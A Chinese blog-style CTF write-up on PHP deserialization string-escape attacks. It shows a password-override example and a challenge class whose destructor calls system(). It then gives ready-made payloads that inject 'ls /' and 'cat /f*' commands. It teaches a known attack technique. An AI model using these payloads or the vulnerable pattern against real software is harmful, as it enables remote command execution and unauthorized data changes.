作者 by Yichen / 2023-11-20 / 暂无评论 / 65 个足迹
1.PHP 在反序列化时,对类中不存在的属性也会进行反序列化
2.PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的;很容易以为序列化后的字符串是;}结尾,实际上字符串序列化是以;}结尾的,但对象序列化是直接}结尾php反序列化字符逃逸,就是通过这个结尾符实现的
例:
a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";这样的反序列化可以正常进行
一个修改密码的例子:
<?php
function filter($string){ <br />return str_replace('x','yy',$string);
}
$username = "peri0d"; <br />$password = "aaaaa";
$user = array($username, $password); <br />var_dump(serialize($user));
$r = filter(serialize($user));
var_dump($r);<br /> var_dump(unserialize($r));
a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}a:2:{i:0;s:9:"peri0dyyyyyy";i:1;s:5:"aaaaa";} 这个时候会反序列化失败可以看到
s:9:"peri0dyyyyyy" 比以前多了 3 个字符
a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}想一下,它在进行修改密码之后就变为
a:2:{i:0;s:6:"peri0d";i:1;s:6:"123456";}";i:1;s:5:"aaaaa";}i:1;s:6:"123456";}";这里我们想要修改密码就添加了这一句,因为字符串会变长,我们希望做到的就是在字符串变长之前
peri0d";i:1;s:6:"123456";}这一整句符合字符串长度,变长后恰好将
";i:1;s:6:"123456";}这一句顶出去
可以看到需要被读入的字符串
";i:1;s:6:"123456";}长度为 20所以在period后加20个x,被转换后会变成40个y,正好将所需字符串顶出,而;}后的东西都可以忽略。
<?php
highlight_file(__FILE__);
function waf($str){<br />return str_replace("bad","good",$str);
}
class GetFlag {
public $key;<br />public $cmd = "whoami";
public function __construct($key)<br />{<br />$this->key = $key;<br />}<br />public function __destruct()<br />{<br />system($this->cmd);
}
}
unserialize(waf(serialize(new GetFlag($_GET['key'])))); www-data www-data
题中容易看出可以通过我们可以传key的值进去,然后它调用类的构造函数,将key值赋给类中key值,最后销毁时会调用system($this->cmd);
这样我们就能用字符串逃逸了,将我们想要的cmd值赋给key,用它来实现我们的指令
O:7:"GetFlag":2:{s:3:"key";s:3:"abc";s:3:"cmd";s:4:"ls /";}";s:3:"cmd";s:6:"whoami";}
这是我想要使用的命令,
";s:3:"cmd";s:4:"ls /";}这是24个需要放进去的字符
因为题目时bad变good,放24个bad到字符前面就行
badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls /";}这样直接传到key里就行因为这个字符串会被赋值给key,然后在被替换后,将原有的cmd值改为我们想要的

发现flag
badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:7:"cat /f*";}
ok
独特见解